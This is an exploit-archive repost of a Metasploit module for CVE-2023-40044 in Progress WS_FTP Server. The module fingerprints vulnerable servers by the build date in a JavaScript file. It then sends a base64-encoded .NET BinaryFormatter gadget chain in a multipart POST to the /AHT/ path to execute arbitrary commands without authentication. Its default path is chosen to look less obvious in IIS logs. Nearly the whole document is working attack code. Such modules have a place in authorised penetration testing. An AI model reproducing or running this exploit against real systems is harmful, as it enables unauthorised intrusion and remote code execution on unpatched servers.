Progress Software WS_FTP Unauthenticated Remote Code Execution

2023.10.05
Credit: sfewer-r7
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability was originally discovered by AssetNote. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # MSF Exploit & Rapid7 Analysis ], 'References' => [ ['CVE', '2023-40044'], ['URL', 'https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis'], ['URL', 'https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023'], ['URL', 'https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044'] ], 'DisclosureDate' => '2023-09-27', 'Platform' => %w[win], 'Arch' => [ARCH_CMD], # 5000 will allow the powershell payloads to work as they require ~4200 bytes. Notably, the ClaimsPrincipal and # TypeConfuseDelegate (but not TextFormattingRunProperties) gadget chains will fail if Space is too large (e.g. # 8192 bytes), as the encoded payload command is padded with leading whitespace characters (0x20) to consume # all the available payload space via ./modules/nops/cmd/generic.rb). 'Payload' => { 'Space' => 5000 }, 'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`. 'Targets' => [ [ 'Windows', {} ] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ # This URI path can be anything so long as it begins with /AHT/. We default ot /AHT/ as it is less obvious in # the IIS logs as to what the request is for, however the user can change this as needed if required. Msf::OptString.new('TARGET_URI', [ false, 'Target URI used to exploit the deserialization vulnerability. Must begin with /AHT/', '/AHT/']), ] ) end def check # As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT. res = send_request_cgi( 'method' => 'GET', 'uri' => '/AHT/AHT_UI/public/index.html' ) return CheckCode::Unknown('Connection failed') unless res title = Nokogiri::HTML(res.body).xpath('//head/title')&.text # We verify the target is running the AHT module, by inspecting the HTML heads title. if title == 'Ad Hoc Transfer' res = send_request_cgi( 'method' => 'GET', 'uri' => '/AHT/AHT_UI/public/js/app.min.js' ) return CheckCode::Unknown('Connection failed') unless res # The patched versions were released on September 2023. We can query the date stamp in the app.min.js file # to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP, # but if it was build on Sept 2023 or after, it is not vulnerable. if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/} day = ::Regexp.last_match(1).to_i month = ::Regexp.last_match(2).to_i year = ::Regexp.last_match(3).to_i description = "Detected a build date of #{day}-#{month}-#{year}" if year > 2023 || (year == 2023 && month >= 9) return CheckCode::Safe(description) end return CheckCode::Appears(description) end # If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module. return CheckCode::Detected end CheckCode::Unknown end def exploit unless datastore['TARGET_URI'].start_with? '/AHT/' fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/') end # All of these gadget chains will work. We pick a random one during exploitation. chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties] gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: chains.sample, formatter: :BinaryFormatter ) # We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation. tags = %w[AHT_DEFAULT_UPLOAD_PARAMETER AHT_UPLOAD_PARAMETER] message = Rex::MIME::Message.new part = message.add_part("::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n", nil, nil, nil) part.header.set('name', rand_text_alphanumeric(8)) res = send_request_cgi( { 'uri' => normalize_uri(datastore['TARGET_URI']), 'ctype' => 'multipart/form-data; boundary=' + message.bound, 'method' => 'POST', 'data' => message.to_s } ) unless res&.code == 302 fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability') end end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top